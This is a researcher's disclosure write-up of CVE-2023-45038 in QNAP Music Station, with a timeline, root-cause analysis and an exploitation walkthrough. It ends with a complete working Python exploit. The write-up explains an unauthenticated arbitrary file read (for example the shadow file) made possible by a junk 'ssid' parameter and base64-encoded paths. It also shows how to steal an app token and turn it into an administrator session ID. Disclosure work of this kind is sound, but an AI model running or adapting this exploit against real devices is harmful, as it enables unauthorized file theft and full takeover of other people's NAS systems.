QNAP QSA-24-25 : Music Station - Unauthenticated file read and authentication bypass - CVE-2023-45038
Timeline (DD/MM/YYYY)
- 02/10/2023 : Bug sent to QNAP security team
- 05/10/2023 : QNAP confirms the report reception and assign CVE
- 22/05/2024 : Fix is published with Music Station 5.4.0
- 07/09/2024 : Security advisory published on the QNAP website
Summary
When the report has been sent to the QNAP security team, an update was available (5.3.23) that limits the authentication bypass to transcoding actions. But, this update was not available on the QTSCloud version used to discover the security issue. The CVSS score assigned to the CVE-2023-45038 is calculated for the version 5.3.23. If the score was calculated regarding all issues describe in the report, it should be at least 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
A pre-authentication arbitrary file read allows an attacker to read sensitive files. As the MusicStation is running with the highest privileges, the attacker is able to read all files on the system, even, for example, the shadow file to obtain password hashes.
Also, a special file giving a valid SID for the “appuser” account belonging to the “administrators” group can be read. This allows the attacker to take full control and obtain root rights if necessary.
Authenticated Arbitrary File Read
Technical details
The vulnerability is in the api/as_get_file_api.php file. For this part of the exploitation, we will consider that we are authenticated as a simple user.
The transcode functionality (accessible with the form parameter “tt=ts”) will allow the attacker to output an arbitrary file if the “output_ts_file” function can be triggered with a user controlled path.
To reach this function, the if condition at the line 459 requires a numeric value for the HTTP parameter “songid” and the variable $filePath should not be encoded.
The $filePath cannot be directly the path to the wanted file because a piece of code before will transform the value.
If we send the raw value “/etc/passwd” the value sent to the output_ts_file will be /share/etc/passwd. Thus, we need to send the value base64 encoded. The value will be decoded on the line 350 but not transformed
Exploit
By sending a numeric value for the “songid” parameter and a base64 encoded path for the “f” parameter, we are able to read a file on the system.
As the application is running with the highest privileges, an attacker can read any file on the NAS. Here is an example with the shadow file:
Authentication Bypass
Technical details
With the first vulnerability, we can read any file on the system. But, we can exploit it without authentication with a second vulnerability that bypass the authentication.
This file can handle two types of authentication.
The first one uses a share code, but the “$filePath” cannot be fully controlled as it is retrieved from the database on line 70. This has to be bypassed by adding a value to the $ssid variable.
The second one will check the sid of the user to verify the authentication. But, the elseif condition can be bypassed if the $time_id variable is empty, which is the default.
Exploit
By adding a junk value to the “ssid” form parameter, authentication can be bypassed.
Obtain sid in administrators group
Arbitrary file read as root on QNAP system can be upgrade to administrative session. With administrative privileges, the attacker can perform any task on the system, even executing commands as root if necessary.
In the case of the MusicStation, an attacker read the app_token from the file located at /share/CACHEDEV1_DATA/.@station_config/musicdata/apptoken/ms.app.token
With this token, the attacker will be able to obtain a valid “sid” which will be in the “administrators” group.
Final exploit
Here is a working exploit to download a file or get a valid SID in administrators group.
import requests
import argparse
import base64
parser = argparse.ArgumentParser()
parser.add_argument('base_url')
parser.add_argument('-f', '--file')
TOKEN_PATH = b"/share/CACHEDEV1_DATA/.@station_config/musicdata/apptoken/ms.app.token"
args = parser.parse_args()
API_PATH = args.base_url+"/musicstation/api/as_get_file_api.php"
AUTH_LOGIN = args.base_url+"/cgi-bin/authLogin.cgi"
if args.file:
print(requests.post(API_PATH, data={
"ssid":"dummy",
"songid":1,
"tt":"ts",
"f": base64.b64encode(args.file.encode())
}).text)
else:
token = requests.post(API_PATH, data={
"ssid":"dummy",
"songid":1,
"tt":"ts",
"f": base64.b64encode(TOKEN_PATH)
}).text
print("AppToken :", token)
sid = requests.get(AUTH_LOGIN,params={
"app_token": token,
"app": "MUSIC_STATION",
"auth": 1
}).text.split("<authSid><![CDATA[")[1].split("]")[0]
print("SID :", sid)
if "<isAdmin><![CDATA[1]]></isAdmin>" in requests.get(AUTH_LOGIN+"?sid="+sid).text:
print("SID is admin.")